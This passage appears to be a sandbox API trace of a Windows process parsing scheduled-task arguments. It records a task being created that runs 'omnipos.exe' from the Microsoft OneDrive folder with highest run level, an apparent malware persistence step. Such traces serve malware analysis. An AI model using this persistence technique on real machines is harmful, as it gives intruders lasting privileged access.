wMatch=0x78) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0140.922] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0140.922] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0140.923] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0140.923] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0140.923] GetLastError () returned 0x0 [0140.923] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.923] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.923] SetLastError (dwErrCode=0x0) [0140.923] SetLastError (dwErrCode=0x0) [0140.923] lstrlenW (lpString="/rl") returned 3 [0140.923] lstrlenW (lpString="-/") returned 2 [0140.923] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.923] lstrlenW (lpString="create") returned 6 [0140.923] lstrlenW (lpString="create") returned 6 [0140.923] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.923] lstrlenW (lpString="rl") returned 2 [0140.923] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.923] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|create|") returned 8 [0140.923] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.923] lstrlenW (lpString="|create|") returned 8 [0140.923] lstrlenW (lpString="|rl|") returned 4 [0140.923] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0140.923] SetLastError (dwErrCode=0x490) [0140.923] lstrlenW (lpString="?") returned 1 [0140.923] lstrlenW (lpString="?") returned 1 [0140.923] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.923] lstrlenW (lpString="rl") returned 2 [0140.923] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.923] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|?|") returned 3 [0140.923] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.923] lstrlenW (lpString="|?|") returned 3 [0140.923] lstrlenW (lpString="|rl|") returned 4 [0140.924] SetLastError (dwErrCode=0x490) [0140.924] lstrlenW (lpString="s") returned 1 [0140.924] lstrlenW (lpString="s") returned 1 [0140.924] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.924] lstrlenW (lpString="rl") returned 2 [0140.924] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.924] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|s|") returned 3 [0140.924] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.924] lstrlenW (lpString="|s|") returned 3 [0140.924] lstrlenW (lpString="|rl|") returned 4 [0140.924] SetLastError (dwErrCode=0x490) [0140.924] lstrlenW (lpString="u") returned 1 [0140.924] lstrlenW (lpString="u") returned 1 [0140.924] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.924] lstrlenW (lpString="rl") returned 2 [0140.924] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.924] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|u|") returned 3 [0140.924] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.924] lstrlenW (lpString="|u|") returned 3 [0140.924] lstrlenW (lpString="|rl|") returned 4 [0140.924] SetLastError (dwErrCode=0x490) [0140.924] lstrlenW (lpString="p") returned 1 [0140.924] lstrlenW (lpString="p") returned 1 [0140.924] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.924] lstrlenW (lpString="rl") returned 2 [0140.924] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.924] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|p|") returned 3 [0140.924] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.924] lstrlenW (lpString="|p|") returned 3 [0140.924] lstrlenW (lpString="|rl|") returned 4 [0140.925] SetLastError (dwErrCode=0x490) [0140.925] lstrlenW (lpString="ru") returned 2 [0140.925] lstrlenW (lpString="ru") returned 2 [0140.925] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.925] lstrlenW (lpString="rl") returned 2 [0140.925] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.925] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|ru|") returned 4 [0140.925] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.925] lstrlenW (lpString="|ru|") returned 4 [0140.925] lstrlenW (lpString="|rl|") returned 4 [0140.925] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0140.925] SetLastError (dwErrCode=0x490) [0140.925] lstrlenW (lpString="rp") returned 2 [0140.925] lstrlenW (lpString="rp") returned 2 [0140.925] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.925] lstrlenW (lpString="rl") returned 2 [0140.925] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.925] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rp|") returned 4 [0140.925] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.925] lstrlenW (lpString="|rp|") returned 4 [0140.925] lstrlenW (lpString="|rl|") returned 4 [0140.925] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0140.925] SetLastError (dwErrCode=0x490) [0140.925] lstrlenW (lpString="sc") returned 2 [0140.925] lstrlenW (lpString="sc") returned 2 [0140.925] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.925] lstrlenW (lpString="rl") returned 2 [0140.925] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.925] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|sc|") returned 4 [0140.925] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.926] lstrlenW (lpString="|sc|") returned 4 [0140.926] lstrlenW (lpString="|rl|") returned 4 [0140.926] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0140.926] SetLastError (dwErrCode=0x490) [0140.926] lstrlenW (lpString="mo") returned 2 [0140.926] lstrlenW (lpString="mo") returned 2 [0140.926] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.926] lstrlenW (lpString="rl") returned 2 [0140.926] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.926] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|mo|") returned 4 [0140.926] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.926] lstrlenW (lpString="|mo|") returned 4 [0140.926] lstrlenW (lpString="|rl|") returned 4 [0140.926] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0140.926] SetLastError (dwErrCode=0x490) [0140.926] lstrlenW (lpString="d") returned 1 [0140.926] lstrlenW (lpString="d") returned 1 [0140.926] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.926] lstrlenW (lpString="rl") returned 2 [0140.926] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.926] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|d|") returned 3 [0140.926] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.926] lstrlenW (lpString="|d|") returned 3 [0140.926] lstrlenW (lpString="|rl|") returned 4 [0140.926] SetLastError (dwErrCode=0x490) [0140.926] lstrlenW (lpString="m") returned 1 [0140.926] lstrlenW (lpString="m") returned 1 [0140.926] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.926] lstrlenW (lpString="rl") returned 2 [0140.926] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.926] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|m|") returned 3 [0140.927] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.927] lstrlenW (lpString="|m|") returned 3 [0140.927] lstrlenW (lpString="|rl|") returned 4 [0140.927] SetLastError (dwErrCode=0x490) [0140.927] lstrlenW (lpString="i") returned 1 [0140.927] lstrlenW (lpString="i") returned 1 [0140.927] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.927] lstrlenW (lpString="rl") returned 2 [0140.927] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.927] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|i|") returned 3 [0140.927] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.927] lstrlenW (lpString="|i|") returned 3 [0140.927] lstrlenW (lpString="|rl|") returned 4 [0140.927] SetLastError (dwErrCode=0x490) [0140.927] lstrlenW (lpString="tn") returned 2 [0140.927] lstrlenW (lpString="tn") returned 2 [0140.927] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.927] lstrlenW (lpString="rl") returned 2 [0140.927] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.927] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tn|") returned 4 [0140.927] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.927] lstrlenW (lpString="|tn|") returned 4 [0140.927] lstrlenW (lpString="|rl|") returned 4 [0140.927] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0140.927] SetLastError (dwErrCode=0x490) [0140.927] lstrlenW (lpString="tr") returned 2 [0140.927] lstrlenW (lpString="tr") returned 2 [0140.927] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.927] lstrlenW (lpString="rl") returned 2 [0140.927] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.927] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tr|") returned 4 [0140.928] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.928] lstrlenW (lpString="|tr|") returned 4 [0140.928] lstrlenW (lpString="|rl|") returned 4 [0140.928] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0140.928] SetLastError (dwErrCode=0x490) [0140.928] lstrlenW (lpString="st") returned 2 [0140.928] lstrlenW (lpString="st") returned 2 [0140.928] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.928] lstrlenW (lpString="rl") returned 2 [0140.928] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.928] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|st|") returned 4 [0140.928] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.928] lstrlenW (lpString="|st|") returned 4 [0140.928] lstrlenW (lpString="|rl|") returned 4 [0140.928] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0140.928] SetLastError (dwErrCode=0x490) [0140.928] lstrlenW (lpString="sd") returned 2 [0140.928] lstrlenW (lpString="sd") returned 2 [0140.928] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.928] lstrlenW (lpString="rl") returned 2 [0140.928] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.928] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|sd|") returned 4 [0140.928] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.928] lstrlenW (lpString="|sd|") returned 4 [0140.928] lstrlenW (lpString="|rl|") returned 4 [0140.928] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0140.928] SetLastError (dwErrCode=0x490) [0140.928] lstrlenW (lpString="ed") returned 2 [0140.928] lstrlenW (lpString="ed") returned 2 [0140.928] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.928] lstrlenW (lpString="rl") returned 2 [0140.928] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.929] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|ed|") returned 4 [0140.929] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.929] lstrlenW (lpString="|ed|") returned 4 [0140.929] lstrlenW (lpString="|rl|") returned 4 [0140.929] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0140.929] SetLastError (dwErrCode=0x490) [0140.929] lstrlenW (lpString="it") returned 2 [0140.929] lstrlenW (lpString="it") returned 2 [0140.929] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.929] lstrlenW (lpString="rl") returned 2 [0140.929] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.929] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|it|") returned 4 [0140.929] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.929] lstrlenW (lpString="|it|") returned 4 [0140.929] lstrlenW (lpString="|rl|") returned 4 [0140.929] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0140.929] SetLastError (dwErrCode=0x490) [0140.929] lstrlenW (lpString="et") returned 2 [0140.929] lstrlenW (lpString="et") returned 2 [0140.929] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.929] lstrlenW (lpString="rl") returned 2 [0140.929] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.929] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|et|") returned 4 [0140.929] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.929] lstrlenW (lpString="|et|") returned 4 [0140.929] lstrlenW (lpString="|rl|") returned 4 [0140.929] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0140.929] SetLastError (dwErrCode=0x490) [0140.929] lstrlenW (lpString="k") returned 1 [0140.929] lstrlenW (lpString="k") returned 1 [0140.929] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.929] lstrlenW (lpString="rl") returned 2 [0140.930] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.930] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|k|") returned 3 [0140.930] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.930] lstrlenW (lpString="|k|") returned 3 [0140.930] lstrlenW (lpString="|rl|") returned 4 [0140.930] SetLastError (dwErrCode=0x490) [0140.930] lstrlenW (lpString="du") returned 2 [0140.930] lstrlenW (lpString="du") returned 2 [0140.930] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.930] lstrlenW (lpString="rl") returned 2 [0140.930] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.930] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|du|") returned 4 [0140.930] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.930] lstrlenW (lpString="|du|") returned 4 [0140.930] lstrlenW (lpString="|rl|") returned 4 [0140.930] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0140.930] SetLastError (dwErrCode=0x490) [0140.930] lstrlenW (lpString="ri") returned 2 [0140.930] lstrlenW (lpString="ri") returned 2 [0140.930] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.930] lstrlenW (lpString="rl") returned 2 [0140.930] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.930] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|ri|") returned 4 [0140.930] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.930] lstrlenW (lpString="|ri|") returned 4 [0140.930] lstrlenW (lpString="|rl|") returned 4 [0140.930] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0140.930] SetLastError (dwErrCode=0x490) [0140.930] lstrlenW (lpString="z") returned 1 [0140.930] lstrlenW (lpString="z") returned 1 [0140.930] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.930] lstrlenW (lpString="rl") returned 2 [0140.931] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.931] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|z|") returned 3 [0140.931] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.931] lstrlenW (lpString="|z|") returned 3 [0140.931] lstrlenW (lpString="|rl|") returned 4 [0140.931] SetLastError (dwErrCode=0x490) [0140.931] lstrlenW (lpString="f") returned 1 [0140.931] lstrlenW (lpString="f") returned 1 [0140.931] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.931] lstrlenW (lpString="rl") returned 2 [0140.931] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.931] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.931] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.931] lstrlenW (lpString="|f|") returned 3 [0140.931] lstrlenW (lpString="|rl|") returned 4 [0140.931] SetLastError (dwErrCode=0x490) [0140.931] lstrlenW (lpString="v1") returned 2 [0140.931] lstrlenW (lpString="v1") returned 2 [0140.931] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.931] lstrlenW (lpString="rl") returned 2 [0140.931] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.931] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|v1|") returned 4 [0140.931] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.931] lstrlenW (lpString="|v1|") returned 4 [0140.931] lstrlenW (lpString="|rl|") returned 4 [0140.931] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0140.931] SetLastError (dwErrCode=0x490) [0140.931] lstrlenW (lpString="xml") returned 3 [0140.931] lstrlenW (lpString="xml") returned 3 [0140.931] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.932] lstrlenW (lpString="rl") returned 2 [0140.932] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.932] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|xml|") returned 5 [0140.932] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.932] lstrlenW (lpString="|xml|") returned 5 [0140.932] lstrlenW (lpString="|rl|") returned 4 [0140.932] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0140.932] SetLastError (dwErrCode=0x490) [0140.932] lstrlenW (lpString="ec") returned 2 [0140.932] lstrlenW (lpString="ec") returned 2 [0140.932] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.932] lstrlenW (lpString="rl") returned 2 [0140.932] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.932] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|ec|") returned 4 [0140.932] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.932] lstrlenW (lpString="|ec|") returned 4 [0140.932] lstrlenW (lpString="|rl|") returned 4 [0140.932] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0140.932] SetLastError (dwErrCode=0x490) [0140.932] lstrlenW (lpString="rl") returned 2 [0140.932] lstrlenW (lpString="rl") returned 2 [0140.932] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.932] lstrlenW (lpString="rl") returned 2 [0140.932] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.932] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.932] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rl|") returned 4 [0140.933] lstrlenW (lpString="|rl|") returned 4 [0140.933] lstrlenW (lpString="|rl|") returned 4 [0140.933] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0140.933] SetLastError (dwErrCode=0x0) [0140.933] SetLastError (dwErrCode=0x0) [0140.933] lstrlenW (lpString="HIGHEST") returned 7 [0140.933] lstrlenW (lpString="-/") returned 2 [0140.933] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0140.933] SetLastError (dwErrCode=0x490) [0140.933] SetLastError (dwErrCode=0x490) [0140.933] SetLastError (dwErrCode=0x0) [0140.933] lstrlenW (lpString="HIGHEST") returned 7 [0140.933] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0140.933] SetLastError (dwErrCode=0x490) [0140.933] SetLastError (dwErrCode=0x0) [0140.933] _memicmp (_Buf1=0x28d4e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.933] lstrlenW (lpString="HIGHEST") returned 7 [0140.933] lstrlenW (lpString="HIGHEST") returned 7 [0140.933] lstrlenW (lpString=" \x09") returned 2 [0140.933] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0140.933] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0140.933] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0140.933] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0140.933] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0140.933] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0140.933] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0140.933] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0140.933] GetLastError () returned 0x0 [0140.933] lstrlenW (lpString="HIGHEST") returned 7 [0140.933] lstrlenW (lpString="HIGHEST") returned 7 [0140.933] SetLastError (dwErrCode=0x0) [0140.933] SetLastError (dwErrCode=0x0) [0140.933] lstrlenW (lpString="/f") returned 2 [0140.934] lstrlenW (lpString="-/") returned 2 [0140.934] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.934] lstrlenW (lpString="create") returned 6 [0140.934] lstrlenW (lpString="create") returned 6 [0140.934] _memicmp (_Buf1=0x28c1c0, 